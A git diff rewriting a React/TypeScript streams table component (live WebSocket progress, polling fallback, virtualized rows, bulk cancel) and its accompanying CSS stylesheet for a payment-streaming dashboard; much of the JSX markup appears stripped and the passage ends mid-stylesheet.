measureRef?: (element: HTMLTableRowElement | null) => void, - ) => { - const progressUpdate = streamProgressUpdates.get(stream.id); - const streamWithProgress = progressUpdate ? { ...stream, progress: progressUpdate } : stream; - return ( - - ); - }; - - const paddingTop = - resolvedVirtualRows.length > 0 ? resolvedVirtualRows[0].start : 0; - const paddingBottom = - resolvedVirtualRows.length > 0 - ? rowVirtualizer.getTotalSize() - resolvedVirtualRows[resolvedVirtualRows.length - 1].end - : 0; - - return ( - <> - {!isWebSocketConnected && hasWebSocketUrl && ( -
- ⚠️ - Live updates paused - using polling for progress updates -
- )} -
- -
-

Live Streams

-
-
- - {columnsOpen && ( -
-

- Optional columns -

- {OPTIONAL_STREAM_COLUMNS.map((col) => ( - - ))} -
- )} -
- - Export CSV - -
-
- -
- - - - - - - - {isVisible("assetCode") && } - {isVisible("duration") && } - {isVisible("ratePerSecond") && } - {isVisible("pausedDuration") && } - - - - - - - {loading ? ( - Array.from({ length: SKELETON_ROW_COUNT }, (_, i) => ( - - )) - ) : shouldVirtualize ? ( - <> - {paddingTop > 0 && ( - - - )} - {resolvedVirtualRows.map((virtualRow) => - renderStreamRow( - streamsWithProgress[virtualRow.index], - virtualRow.index, - rowVirtualizer.measureElement, - ), - )} - {paddingBottom > 0 && ( - - - )} - - ) : ( - streamsWithProgress.map((stream, index) => renderStreamRow(stream, index)) - )} - -
- - IDSenderRecipientAssetDurationRate / secPausedProgressStatusActions
-
- {loadingMore && ( -
- Loading more streams... -
- )} - {!hasMore && streams.length > 0 && ( -
- End of results -
- )} -
-
- - {selectedStreamIds.size > 0 && ( - - )} - - ); -} - -interface BulkActionBarProps { - selectedCount: number; - onCancel: () => void; - isCanceling: boolean; - progress: { current: number; total: number }; - buttonRef?: React.Ref; -} - -function BulkActionBar({ - selectedCount, - onCancel, - isCanceling, - progress, - buttonRef, // ← add this line to the destructured props -}: BulkActionBarProps) { - return ( -
-
- - {selectedCount} stream{selectedCount !== 1 ? "s" : ""} selected - - -
-
- ); -} - -interface StreamRowProps { - stream: Stream; - isScheduled: boolean; - isFinalised: boolean; - isExpanded: boolean; - isSelected: boolean; - healthBadges: ReturnType; - visibleOptionalColumns: OptionalStreamColumn[]; - colSpan: number; - dataIndex: number; - measureRef?: (element: HTMLTableRowElement | null) => void; - onToggleTimeline: (id: string) => void; - onCheckboxToggle: (id: string) => void; - onCancel: (id: string) => Promise; - onPause: (id: string) => Promise; - onResume: (id: string) => Promise; - onEditStartTime: StreamsTableProps["onEditStartTime"]; - onOpenStream?: (streamId: string) => void; -} - -const StreamRow = memo(function StreamRow({ - stream, - isScheduled, - isFinalised, - isExpanded, - isSelected, - healthBadges, - visibleOptionalColumns, - colSpan, - dataIndex, - measureRef, - onToggleTimeline, - onCheckboxToggle, - onCancel, - onPause, - onResume, - onEditStartTime, - onOpenStream, -}: StreamRowProps) { - const editBtnRef = useRef(null); - const isPaused = stream.progress.status === "paused"; - const isActive = stream.progress.status === "active"; - const show = (col: OptionalStreamColumn) => visibleOptionalColumns.includes(col); - - return ( - <> - - - onCheckboxToggle(stream.id)} - disabled={isFinalised} - /> - - - - - - - - - - - {show("assetCode") && {stream.assetCode}} - {show("duration") && {formatDuration(stream.durationSeconds)}} - {show("ratePerSecond") && ( - {stream.progress.ratePerSecond.toFixed(6)} - )} - {show("pausedDuration") && ( - {stream.pausedDuration ?? 0}s - )} - -
- {stream.progress.percentComplete.toFixed(2)}% - - Vested: {stream.progress.vestedAmount.toFixed(2)} {stream.assetCode} - -
-
-
-
- - -
- - {stream.progress.status} - - {healthBadges.length > 0 && ( -
- {healthBadges.map((badge) => ( - - {badge.label} - - ))} -
- )} -
- - -
- {isScheduled && ( - - )} - {isActive && ( - - )} - {isPaused && ( - - )} - -
- - - - {isExpanded && ( - - - - - - )} - - ); -}, (prev, next) => - prev.stream === next.stream && - prev.isExpanded === next.isExpanded && - prev.isSelected === next.isSelected && - prev.isScheduled === next.isScheduled && - prev.isFinalised === next.isFinalised && - prev.dataIndex === next.dataIndex && - prev.visibleOptionalColumns.join() === next.visibleOptionalColumns.join(), -); +import { + memo, + useCallback, + useEffect, + useLayoutEffect, + useMemo, + useRef, + useState, + type RefObject, +} from "react"; +import { useVirtualizer } from "@tanstack/react-virtual"; +import { Stream } from "../types/stream"; +import { getExportCsvUrl, ListStreamsFilters, cancelStream } from "../services/api"; +import { CopyableAddress } from "./CopyableAddress"; +import { StreamTimeline } from "./StreamTimeline"; +import { getHealthBadges } from "../utils/streamHealthBadges"; +import { FilterBar } from "./FilterBar"; +import { StatusBadge } from "./StatusBadge"; +import { + OPTIONAL_COLUMN_LABELS, + OPTIONAL_STREAM_COLUMNS, + useStreamTableColumns, + type OptionalStreamColumn, +} from "../hooks/useStreamTableColumns"; +import { useWebSocket } from "../hooks/useWebSocket"; + +interface StreamsTableProps { + streams: Stream[]; + loading?: boolean; + filters: ListStreamsFilters; + onFiltersChange: (f: ListStreamsFilters) => void; + onCancel: (streamId: string) => Promise; + onPause: (streamId: string) => Promise; + onResume: (streamId: string) => Promise; + onOpenStream?: (streamId: string) => void; + onEditStartTime: (stream: Stream, triggerRef: RefObject) => void; + // Optional props expected by App.tsx + totalStreamCount?: number; + onCreateStream?: () => void; + onLoadMore?: () => void; + hasMore?: boolean; + loadingMore?: boolean; + onRefreshStreams?: () => void; + setUrlFilters?: (filters: ListStreamsFilters) => void; +} + +const SKELETON_ROW_COUNT = 6; +/** Visible rows outside the viewport kept mounted for smooth scroll. */ +export const STREAMS_TABLE_VIRTUAL_OVERSCAN = 5; +/** Only virtualize once lists are large enough to benefit from windowing. */ +const VIRTUALIZATION_THRESHOLD = 50; +const ESTIMATE_ROW_HEIGHT_PX = 52; +const TABLE_SCROLL_MAX_HEIGHT = "min(70vh, 720px)"; +const TABLE_SCROLL_VIEWPORT_HEIGHT = "480px"; + +function SkeletonRow({ colCount }: { colCount: number }) { + return ( + + {Array.from({ length: colCount }, (_, i) => ( + +
+ + ))} + + ); +} + + +function formatTimestamp(unixSeconds: number): string { + return new Date(unixSeconds * 1000).toLocaleString(); +} + +function formatDuration(seconds: number): string { + if (seconds < 3600) return `${Math.round(seconds / 60)}m`; + if (seconds < 86400) return `${(seconds / 3600).toFixed(1)}h`; + return `${(seconds / 86400).toFixed(1)}d`; +} + +export function StreamsTable({ + streams, + loading = false, + filters, + onFiltersChange, + onCancel, + onPause, + onResume, + onEditStartTime, + onOpenStream, + onLoadMore, + hasMore = true, + loadingMore = false, + onRefreshStreams, + setUrlFilters, +}: StreamsTableProps) { + const { visibility, toggleColumn, isVisible } = useStreamTableColumns(); + const [columnsOpen, setColumnsOpen] = useState(false); + const columnsRef = useRef(null); + const sentinelRef = useRef(null); + const tableWrapperRef = useRef(null); + const cancelButtonRef = useRef(null); + const [streamProgressUpdates, setStreamProgressUpdates] = useState>(new Map()); + + const wsUrl = import.meta.env.VITE_WS_URL ?? ""; + const { readyState } = useWebSocket<{ + type: string; + streamId?: string; + progress?: Stream["progress"]; + }>(wsUrl, { + onMessage: (data) => { + if (data.type === "stream_progress" && data.streamId && data.progress) { + setStreamProgressUpdates((prev) => { + const next = new Map(prev); + next.set(data.streamId!, data.progress!); + return next; + }); + } + }, + }); + + const isWebSocketConnected = readyState === 1; // WebSocket.OPEN + const hasWebSocketUrl = wsUrl.length > 0; + + // Poll for updates when WebSocket is disconnected and URL is configured + useEffect(() => { + if (isWebSocketConnected || !hasWebSocketUrl || !onRefreshStreams) { + return; + } + const interval = setInterval(() => { + onRefreshStreams(); + }, 5000); // Poll every 5 seconds when disconnected + return () => clearInterval(interval); + }, [isWebSocketConnected, hasWebSocketUrl, onRefreshStreams]); + + useEffect(() => { + const sentinel = sentinelRef.current; + if (!sentinel || !onLoadMore) return; + const observer = new IntersectionObserver( + (entries) => { + if (entries[0]?.isIntersecting && hasMore && !loadingMore) { + onLoadMore(); + } + }, + { rootMargin: "200px" }, + ); + observer.observe(sentinel); + return () => observer.disconnect(); + }, [onLoadMore, hasMore, loadingMore]); + + const [selectedStreamIds, setSelectedStreamIds] = useState>(new Set()); + const [expandedStreamId, setExpandedStreamId] = useState(null); + const [isBulkCanceling, setIsBulkCanceling] = useState(false); + const [bulkCancelProgress, setBulkCancelProgress] = useState({ current: 0, total: 0 }); + + const exportUrl = useMemo(() => getExportCsvUrl(filters as Record), [filters]); + + const sortedStreams = useMemo( + () => [...streams].sort((a, b) => a.id.localeCompare(b.id)), + [streams], + ); + + const streamsWithProgress = useMemo( + () => + sortedStreams.map((stream) => { + const progressUpdate = streamProgressUpdates.get(stream.id); + if (progressUpdate) { + return { ...stream, progress: progressUpdate }; + } + return stream; + }), + [sortedStreams, streamProgressUpdates], + ); + + const visibleOptionalColumns = useMemo( + () => OPTIONAL_STREAM_COLUMNS.filter((col) => isVisible(col)), + [isVisible, visibility], + ); + + const colCount = 7 + visibleOptionalColumns.length; + + const isStreamSelectable = useCallback((stream: Stream): boolean => { + return ( + stream.progress.status === "active" || stream.progress.status === "scheduled" + ); + }, []); + + const selectableStreams = useMemo( + () => streams.filter(isStreamSelectable), + [streams, isStreamSelectable], + ); + const selectableIds = useMemo( + () => new Set(selectableStreams.map((s) => s.id)), + [selectableStreams], + ); + + const allSelectableSelected = useMemo( + () => + selectableStreams.length > 0 && + selectableStreams.every((stream) => selectedStreamIds.has(stream.id)), + [selectableStreams, selectedStreamIds], + ); + + const handleCheckboxToggle = useCallback((streamId: string) => { + setSelectedStreamIds((prev) => { + const next = new Set(prev); + if (next.has(streamId)) next.delete(streamId); + else next.add(streamId); + return next; + }); + }, []); + + const handleSelectAllToggle = useCallback(() => { + if (allSelectableSelected) { + setSelectedStreamIds((prev) => { + const next = new Set(prev); + selectableIds.forEach((id) => next.delete(id)); + return next; + }); + } else { + setSelectedStreamIds((prev) => { + const next = new Set(prev); + selectableIds.forEach((id) => next.add(id)); + return next; + }); + } + }, [allSelectableSelected, selectableIds]); + + const toggleTimeline = useCallback((id: string) => { + setExpandedStreamId((prev) => (prev === id ? null : id)); + onOpenStream?.(id); + }, [onOpenStream]); + + const handleBulkCancel = useCallback(async () => { + const idsToCancel = Array.from(selectedStreamIds); + if (idsToCancel.length === 0) return; + + setIsBulkCanceling(true); + setBulkCancelProgress({ current: 0, total: idsToCancel.length }); + + for (let i = 0; i < idsToCancel.length; i++) { + setBulkCancelProgress({ current: i + 1, total: idsToCancel.length }); + try { + await cancelStream(idsToCancel[i]); + } catch (error) { + console.error(`Failed to cancel stream ${idsToCancel[i]}:`, error); + } + } + + setSelectedStreamIds(new Set()); + setIsBulkCanceling(false); + setBulkCancelProgress({ current: 0, total: 0 }); + }, [selectedStreamIds]); + + useEffect(() => { + setSelectedStreamIds((prev) => { + const validIds = new Set(streams.map((s) => s.id)); + const next = new Set(); + prev.forEach((id) => { + if (validIds.has(id)) next.add(id); + }); + return next; + }); + }, [streams]); + + useEffect(() => { + if (!columnsOpen) return; + const onDocClick = (e: MouseEvent) => { + if (columnsRef.current && !columnsRef.current.contains(e.target as Node)) { + setColumnsOpen(false); + } + }; + document.addEventListener("mousedown", onDocClick); + return () => document.removeEventListener("mousedown", onDocClick); + }, [columnsOpen]); + + useEffect(() => { + const container = tableWrapperRef.current; + if (!container) return; + + const handleKeyDown = (e: KeyboardEvent) => { + const target = e.target as HTMLElement; + if (target.tagName === "INPUT" && target.getAttribute("type") !== "checkbox") return; + + if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === "a") { + e.preventDefault(); + handleSelectAllToggle(); + } else if (e.key === "Escape") { + setSelectedStreamIds(new Set()); + } else if ((e.key === "Delete" || e.key === "Backspace") && selectedStreamIds.size > 0) { + e.preventDefault(); + cancelButtonRef.current?.focus(); + } + }; + + container.addEventListener("keydown", handleKeyDown); + return () => container.removeEventListener("keydown", handleKeyDown); +}, [selectedStreamIds, handleSelectAllToggle]); + + const [scrollElement, setScrollElement] = useState(null); + const shouldVirtualize = !loading && sortedStreams.length >= VIRTUALIZATION_THRESHOLD; + + const rowVirtualizer = useVirtualizer({ + count: shouldVirtualize ? sortedStreams.length : 0, + getScrollElement: () => scrollElement, + estimateSize: () => ESTIMATE_ROW_HEIGHT_PX, + overscan: STREAMS_TABLE_VIRTUAL_OVERSCAN, + getItemKey: (index) => sortedStreams[index]?.id ?? index, + measureElement: (element) => { + const row = element as HTMLTableRowElement; + let height = row.getBoundingClientRect().height; + const timelineRow = row.nextElementSibling; + if ( + timelineRow instanceof HTMLTableRowElement && + timelineRow.dataset.timelineRow === "true" + ) { + height += timelineRow.getBoundingClientRect().height; + } + return height; + }, + }); + + const virtualRows = rowVirtualizer.getVirtualItems(); + + const resolvedVirtualRows = useMemo(() => { + if (!shouldVirtualize) return []; + + if (virtualRows.length > 0) return virtualRows; + + const fallbackCount = Math.min( + sortedStreams.length, + Math.ceil(parseInt(TABLE_SCROLL_VIEWPORT_HEIGHT, 10) / ESTIMATE_ROW_HEIGHT_PX) + + STREAMS_TABLE_VIRTUAL_OVERSCAN, + ); + + return Array.from({ length: fallbackCount }, (_, index) => ({ + index, + start: index * ESTIMATE_ROW_HEIGHT_PX, + end: (index + 1) * ESTIMATE_ROW_HEIGHT_PX, + size: ESTIMATE_ROW_HEIGHT_PX, + key: sortedStreams[index].id, + lane: 0, + })); + }, [shouldVirtualize, sortedStreams, virtualRows]); + + useLayoutEffect(() => { + if (!shouldVirtualize || !scrollElement) return; + rowVirtualizer.measure(); + }, [expandedStreamId, shouldVirtualize, scrollElement, visibleOptionalColumns, rowVirtualizer]); + + const renderStreamRow = ( + stream: Stream, + dataIndex: number, + measureRef?: (element: HTMLTableRowElement | null) => void, + ) => { + const progressUpdate = streamProgressUpdates.get(stream.id); + const streamWithProgress = progressUpdate ? { ...stream, progress: progressUpdate } : stream; + return ( + + ); + }; + + const paddingTop = + resolvedVirtualRows.length > 0 ? resolvedVirtualRows[0].start : 0; + const paddingBottom = + resolvedVirtualRows.length > 0 + ? rowVirtualizer.getTotalSize() - resolvedVirtualRows[resolvedVirtualRows.length - 1].end + : 0; + + return ( + <> + {!isWebSocketConnected && hasWebSocketUrl && ( +
+ ⚠️ + Live updates paused - using polling for progress updates +
+ )} +
+ +
+

Live Streams

+
+
+ + {columnsOpen && ( +
+

+ Optional columns +

+ {OPTIONAL_STREAM_COLUMNS.map((col) => ( + + ))} +
+ )} +
+ + Export CSV + +
+
+ +
+ + + + + + + + {isVisible("assetCode") && } + {isVisible("duration") && } + {isVisible("ratePerSecond") && } + {isVisible("pausedDuration") && } + + + + + + + {loading ? ( + Array.from({ length: SKELETON_ROW_COUNT }, (_, i) => ( + + )) + ) : shouldVirtualize ? ( + <> + {paddingTop > 0 && ( + + + )} + {resolvedVirtualRows.map((virtualRow) => + renderStreamRow( + streamsWithProgress[virtualRow.index], + virtualRow.index, + rowVirtualizer.measureElement, + ), + )} + {paddingBottom > 0 && ( + + + )} + + ) : ( + streamsWithProgress.map((stream, index) => renderStreamRow(stream, index)) + )} + +
+ + IDSenderRecipientAssetDurationRate / secPausedProgressStatusActions
+
+ {loadingMore && ( +
+ Loading more streams... +
+ )} + {!hasMore && streams.length > 0 && ( +
+ End of results +
+ )} +
+
+ + {selectedStreamIds.size > 0 && ( + + )} + + ); +} + +interface BulkActionBarProps { + selectedCount: number; + onCancel: () => void; + isCanceling: boolean; + progress: { current: number; total: number }; + buttonRef?: React.Ref; +} + +function BulkActionBar({ + selectedCount, + onCancel, + isCanceling, + progress, + buttonRef, // ← add this line to the destructured props +}: BulkActionBarProps) { + return ( +
+
+ + {selectedCount} stream{selectedCount !== 1 ? "s" : ""} selected + + +
+
+ ); +} + +interface StreamRowProps { + stream: Stream; + isScheduled: boolean; + isFinalised: boolean; + isExpanded: boolean; + isSelected: boolean; + healthBadges: ReturnType; + visibleOptionalColumns: OptionalStreamColumn[]; + colSpan: number; + dataIndex: number; + measureRef?: (element: HTMLTableRowElement | null) => void; + onToggleTimeline: (id: string) => void; + onCheckboxToggle: (id: string) => void; + onCancel: (id: string) => Promise; + onPause: (id: string) => Promise; + onResume: (id: string) => Promise; + onEditStartTime: StreamsTableProps["onEditStartTime"]; + onOpenStream?: (streamId: string) => void; +} + +const StreamRow = memo(function StreamRow({ + stream, + isScheduled, + isFinalised, + isExpanded, + isSelected, + healthBadges, + visibleOptionalColumns, + colSpan, + dataIndex, + measureRef, + onToggleTimeline, + onCheckboxToggle, + onCancel, + onPause, + onResume, + onEditStartTime, + onOpenStream, +}: StreamRowProps) { + const editBtnRef = useRef(null); + const isPaused = stream.progress.status === "paused"; + const isActive = stream.progress.status === "active"; + const show = (col: OptionalStreamColumn) => visibleOptionalColumns.includes(col); + + return ( + <> + + + onCheckboxToggle(stream.id)} + disabled={isFinalised} + /> + + + + + + + + + + + {show("assetCode") && {stream.assetCode}} + {show("duration") && {formatDuration(stream.durationSeconds)}} + {show("ratePerSecond") && ( + {stream.progress.ratePerSecond.toFixed(6)} + )} + {show("pausedDuration") && ( + {stream.pausedDuration ?? 0}s + )} + +
+ {stream.progress.percentComplete.toFixed(2)}% + + Vested: {stream.progress.vestedAmount.toFixed(2)} {stream.assetCode} + +
+
+
+
+ + +
+ + {healthBadges.length > 0 && ( +
+ {healthBadges.map((badge) => ( + + {badge.label} + + ))} +
+ )} +
+ + +
+ {isScheduled && ( + + )} + {isActive && ( + + )} + {isPaused && ( + + )} + +
+ + + + {isExpanded && ( + + + + + + )} + + ); +}, (prev, next) => + prev.stream === next.stream && + prev.isExpanded === next.isExpanded && + prev.isSelected === next.isSelected && + prev.isScheduled === next.isScheduled && + prev.isFinalised === next.isFinalised && + prev.dataIndex === next.dataIndex && + prev.visibleOptionalColumns.join() === next.visibleOptionalColumns.join(), +); diff --git a/frontend/src/index.css b/frontend/src/index.css index f247db5e..3b17abba 100644 --- a/frontend/src/index.css +++ b/frontend/src/index.css @@ -1,1429 +1,1465 @@ -body { - margin: 0; - font-family: "Segoe UI", sans-serif; - background: #f6f8fb; - color: #1f2937; -} - -/* ── Visually hidden (screen-reader only) ───────────────────────────── */ - -.sr-only { - position: absolute; - width: 1px; - height: 1px; - padding: 0; - margin: -1px; - overflow: hidden; - clip: rect(0, 0, 0, 0); - white-space: nowrap; - border: 0; -} - -.app-shell { - max-width: 1100px; - margin: 0 auto; - padding: 1rem; -} - -.hero { - margin-bottom: 1rem; -} - -.hero h1 { - margin: 0; -} - -.hero-copy { - color: #4b5563; -} - -.metric-grid { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); - gap: 0.75rem; - margin-bottom: 1rem; -} - -.metric-card { - background: white; - border: 1px solid #e5e7eb; - border-radius: 10px; - padding: 0.75rem; -} - -.metric-card span { - display: block; - font-size: 0.85rem; - color: #6b7280; -} - -.metric-card strong { - font-size: 1.4rem; -} - -.layout-grid { - display: grid; - gap: 1rem; -} - -.card { - background: white; - border: 1px solid #e5e7eb; - border-radius: 10px; - padding: 1rem; -} - -.form-grid { - display: grid; - gap: 0.85rem; -} - -.row { - display: grid; - gap: 0.75rem; -} - -/* ── Field groups ──────────────────────────────────────── */ - -.field-group { - display: grid; - gap: 0.25rem; -} - -.field-group label { - font-size: 0.9rem; - font-weight: 500; - color: #374151; -} - -.field-required { - color: #dc2626; -} - -.field-group input { - border: 1.5px solid #d1d5db; - border-radius: 8px; - min-height: 38px; - padding: 0.45rem 0.6rem; - font-size: 0.9rem; - transition: border-color 0.15s ease, box-shadow 0.15s ease; - outline: none; -} - -.field-group input:focus { - border-color: #0ea5a5; - box-shadow: 0 0 0 3px rgba(14, 165, 165, 0.15); -} - -/* Error state */ -.field-group--error input { - border-color: #dc2626; - background: #fff8f8; -} - -.field-group--error input:focus { - border-color: #dc2626; - box-shadow: 0 0 0 3px rgba(220, 38, 38, 0.12); -} - -/* ── Field-level error message ─────────────────────────── */ - -.field-error { - display: flex; - align-items: flex-start; - gap: 0.3rem; - font-size: 0.8rem; - color: #dc2626; - line-height: 1.4; - padding-top: 0.1rem; -} - -.field-error::before { - content: "⚠"; - flex-shrink: 0; - font-size: 0.75rem; - margin-top: 0.05rem; -} - -/* ── Inline hint (account length tracker, start=0 note) ── */ - -.field-hint { - font-size: 0.78rem; - color: #6b7280; - line-height: 1.4; -} - -.field-hint--ok { - color: #059669; -} - -.field-hint--warn { - color: #d97706; -} - -/* ── Summary error shown at bottom of form ─────────────── */ - -.form-summary-error { - margin: 0; - font-size: 0.83rem; - color: #dc2626; - background: #fff1f2; - border: 1px solid #fecaca; - border-radius: 6px; - padding: 0.45rem 0.6rem; -} - -/* ── API error box (inside the form card) ──────────────── */ - -.api-error-box { - background: #fff7ed; - border: 1.5px solid #fed7aa; - border-radius: 8px; - padding: 0.65rem 0.8rem; - display: grid; - gap: 0.3rem; -} - -.api-error-box__title { - display: flex; - align-items: center; - gap: 0.4rem; - font-weight: 600; - font-size: 0.88rem; - color: #92400e; -} - -.api-error-box__icon { - font-size: 1rem; -} - -.api-error-box__hint { - font-size: 0.82rem; - color: #78350f; - line-height: 1.5; -} - -/* ── Draft recovery banner ────────────────────────────── */ - -.draft-recovery-banner { - background: #f0fdf4; - border: 1.5px solid #bbf7d0; - border-radius: 8px; - padding: 0.65rem 0.8rem; - font-size: 0.88rem; - color: #166534; - line-height: 1.5; - display: flex; - gap: 0.4rem; - align-items: center; - flex-wrap: wrap; - margin-bottom: 0.85rem; -} - -.draft-recovery-banner__discard-link { - background: none; - border: none; - color: #166534; - text-decoration: underline; - cursor: pointer; - font-weight: 600; - padding: 0; - font: inherit; -} - -.draft-recovery-banner__discard-link:hover:not(:disabled) { - color: #15803d; -} - -.draft-recovery-banner__discard-link:disabled { - opacity: 0.5; - cursor: not-allowed; -} - -/* ── Global error banner (cancel failures, etc.) ───────── */ - -.error-banner { - display: flex; - align-items: center; - gap: 0.5rem; - margin-bottom: 1rem; - background: #fef2f2; - border: 1.5px solid #fca5a5; - color: #991b1b; - border-radius: 8px; - padding: 0.55rem 0.75rem; - font-size: 0.88rem; -} - -.error-banner__icon { - flex-shrink: 0; - font-style: normal; -} - -.error-banner span:nth-child(2) { - flex: 1; -} - -.error-banner__dismiss { - flex-shrink: 0; - background: none; - border: none; - cursor: pointer; - font-size: 1.1rem; - line-height: 1; - color: #991b1b; - padding: 0 0.2rem; - opacity: 0.7; - transition: opacity 0.15s; -} - -.error-banner__dismiss:hover { - opacity: 1; -} - -/* ── Legacy label (outside field-groups, e.g. future use) ── */ - -label { - display: grid; - gap: 0.25rem; - font-size: 0.9rem; -} - -input { - border: 1px solid #d1d5db; - border-radius: 8px; - min-height: 38px; - padding: 0.45rem 0.6rem; -} - -.btn-primary { - border: 0; - border-radius: 8px; - min-height: 38px; - padding: 0.5rem 0.8rem; - font-weight: 600; - color: white; - background: #0ea5a5; - cursor: pointer; - transition: background 0.15s; -} - -.btn-primary:hover:not(:disabled) { - background: #0c9191; -} - -.btn-primary:disabled { - opacity: 0.55; - cursor: not-allowed; -} - -.btn-ghost { - border: 1px solid #d1d5db; - border-radius: 8px; - min-height: 34px; - background: white; - cursor: pointer; - padding: 0.35rem 0.6rem; - transition: background 0.12s; -} - -.btn-ghost:hover:not(:disabled) { - background: #f9fafb; -} - -.btn-ghost:disabled { - opacity: 0.45; - cursor: not-allowed; -} - -.table-wrap { - overflow-x: auto; -} - -.streams-table-scroll { - overflow: auto; -} - -.streams-table-head { - position: sticky; - top: 0; - z-index: 2; - background: white; -} - -.streams-table-head th { - background: white; -} - -.streams-table-spacer td { - line-height: 0; -} - -table { - width: 100%; - border-collapse: collapse; -} - -th, -td { - text-align: left; - border-bottom: 1px solid #e5e7eb; - padding: 0.55rem 0.25rem; - font-size: 0.9rem; - vertical-align: top; -} - -.muted { - color: #6b7280; - font-size: 0.8rem; -} - -.stacked { - display: grid; - gap: 0.2rem; -} - -.progress-bar { - height: 7px; - border-radius: 999px; - background: #e5e7eb; - overflow: hidden; - margin-top: 0.3rem; -} - -.progress-bar>div { - height: 100%; - background: #0ea5a5; - transition: width 0.3s ease-in-out; -} - -.badge { - text-transform: capitalize; - font-size: 0.78rem; - border: 1px solid #d1d5db; - border-radius: 999px; - padding: 0.15rem 0.4rem; -} - -.badge-active { - background: #ecfeff; -} - -.badge-scheduled { - background: #eff6ff; -} - -.badge-completed { - background: #f3f4f6; -} - -.badge-canceled { - background: #fef2f2; -} - -.badge-paused { - background: #fffbeb; -} - -/* ── Health badges (derived, additive — never replace status label) ── */ - -.badge-health { - display: inline-flex; - align-items: center; - gap: 0.2rem; - font-size: 0.72rem; - font-weight: 500; - border-radius: 999px; - padding: 0.12rem 0.45rem; - border: 1px solid transparent; - white-space: nowrap; - cursor: default; -} - -/* Starts Soon – blue-tinted */ -.badge-health--soon { - background: #e0f2fe; - border-color: #7dd3fc; - color: #0369a1; -} - -/* Claim Pending – amber */ -.badge-health--claim { - background: #fef9c3; - border-color: #fde047; - color: #854d0e; -} - -/* Almost Done – teal/green */ -.badge-health--ending { - background: #d1fae5; - border-color: #6ee7b7; - color: #065f46; -} - -/* Expiring Soon – orange */ -.badge-health--expiring { - background: #fff7ed; - border-color: #fdba74; - color: #9a3412; -} - -/* Recently Canceled – rose */ -.badge-health--recent-cancel { - background: #ffe4e6; - border-color: #fda4af; - color: #9f1239; -} - -/* ── Status cell: stacks status label + health badges vertically ── */ - -.status-cell { - display: flex; - flex-direction: column; - gap: 0.3rem; - align-items: flex-start; -} - -.health-badge-row { - display: flex; - flex-wrap: wrap; - gap: 0.25rem; -} - -.issue-list { - display: grid; - gap: 0.6rem; -} - -.issue-item { - border: 1px solid #e5e7eb; - border-radius: 8px; - padding: 0.7rem; -} - -.chip-row { - display: flex; - flex-wrap: wrap; - gap: 0.35rem; -} - -.chip { - border: 1px solid #d1d5db; - border-radius: 999px; - padding: 0.12rem 0.45rem; - font-size: 0.75rem; - background: #f9fafb; -} - -@media (min-width: 920px) { - .layout-grid { - grid-template-columns: 380px 1fr; - } - - .row { - grid-template-columns: 1fr 1fr; - } -} - -/* ── Action cell (Edit + Cancel side-by-side) ──────────── */ - -.action-cell { - display: flex; - gap: 0.4rem; - flex-wrap: wrap; - align-items: center; -} - -.btn-edit { - font-size: 0.8rem; - color: #0369a1; - border-color: #bae6fd; - background: #f0f9ff; -} - -.btn-edit:hover:not(:disabled) { - background: #e0f2fe; -} - -/* ── Modal ─────────────────────────────────────────────── */ - -.modal-backdrop { - position: fixed; - inset: 0; - background: rgba(15, 23, 42, 0.45); - display: flex; - align-items: center; - justify-content: center; - z-index: 100; - padding: 1rem; - backdrop-filter: blur(2px); -} - -.modal-panel { - background: white; - border-radius: 14px; - padding: 1.5rem; - width: 100%; - max-width: 420px; - box-shadow: 0 20px 60px rgba(0, 0, 0, 0.18); - display: grid; - gap: 1rem; -} - -.modal-header { - display: flex; - align-items: center; - justify-content: space-between; -} - -.modal-title { - margin: 0; - font-size: 1.05rem; - font-weight: 700; - color: #111827; -} - -.modal-close { - background: none; - border: none; - cursor: pointer; - font-size: 0.95rem; - color: #6b7280; - padding: 0.2rem 0.4rem; - border-radius: 6px; - transition: background 0.12s, color 0.12s; -} - -.modal-close:hover { - background: #f3f4f6; - color: #111827; -} - -.modal-stream-hint { - margin: -0.25rem 0 0; - font-size: 0.82rem; - color: #6b7280; -} - -.modal-actions { - display: flex; - gap: 0.5rem; - justify-content: flex-end; - margin-top: 0.25rem; -} - -.fee-preview-list { - display: grid; - gap: 0.75rem; - margin: 0; -} - -.fee-preview-list div { - display: flex; - align-items: center; - justify-content: space-between; - gap: 1rem; - padding: 0.85rem 1rem; - border: 1px solid #e5e7eb; - border-radius: 10px; - background: #f9fafb; -} - -.fee-preview-list dt { - color: #6b7280; - font-size: 0.9rem; -} - -.fee-preview-list dd { - margin: 0; - color: #111827; - font-weight: 700; - text-align: right; -} -.chart-section { - background: white; - border: 1px solid #e5e7eb; - border-radius: 10px; - padding: 1.5rem; - margin-bottom: 1rem; -} - -.chart-section__title { - margin: 0 0 1.25rem 0; - font-size: 1.2rem; - font-weight: 600; - color: #1f2937; -} - -.chart-container { - width: 100%; - min-height: 400px; -} - -.chart-empty-state { - display: flex; - align-items: center; - justify-content: center; - min-height: 400px; - background: #f9fafb; - border: 2px dashed #d1d5db; - border-radius: 10px; -} - -.chart-empty-state__content { - text-align: center; - max-width: 320px; - padding: 2rem; -} - -.chart-empty-state__icon { - font-size: 3rem; - display: block; - margin-bottom: 0.75rem; - opacity: 0.5; -} - -.chart-empty-state__content h3 { - margin: 0 0 0.5rem 0; - font-size: 1.1rem; - color: #374151; -} - -.chart-empty-state__content p { - margin: 0; - font-size: 0.9rem; - color: #6b7280; - line-height: 1.5; -} - -@media (max-width: 768px) { - .chart-section { - padding: 1rem; - } - - .chart-section__title { - font-size: 1rem; - margin-bottom: 1rem; - } - - .chart-container { - min-height: 300px; - } - - .chart-empty-state { - min-height: 300px; - } - - .chart-empty-state__icon { - font-size: 2.5rem; - } -} - - -/* ── Hero top bar (title + wallet button) ──────────────── */ - -.hero-top { - display: flex; - align-items: flex-start; - justify-content: space-between; - gap: 1rem; - flex-wrap: wrap; -} - -/* ── Wallet connect / status ───────────────────────────── */ - -.wallet-btn { - white-space: nowrap; - font-size: 0.88rem; - padding: 0.4rem 0.85rem; - min-height: 36px; -} - -.wallet-status { - display: flex; - align-items: center; - gap: 0.5rem; - flex-wrap: wrap; -} - -.wallet-address { - display: flex; - align-items: center; - gap: 0.35rem; - font-size: 0.85rem; - font-weight: 500; - color: #1f2937; - background: #f0fdf4; - border: 1px solid #bbf7d0; - border-radius: 999px; - padding: 0.25rem 0.65rem; -} - -.wallet-dot { - width: 8px; - height: 8px; - border-radius: 50%; - flex-shrink: 0; -} - -.wallet-dot--connected { - background: #22c55e; - box-shadow: 0 0 0 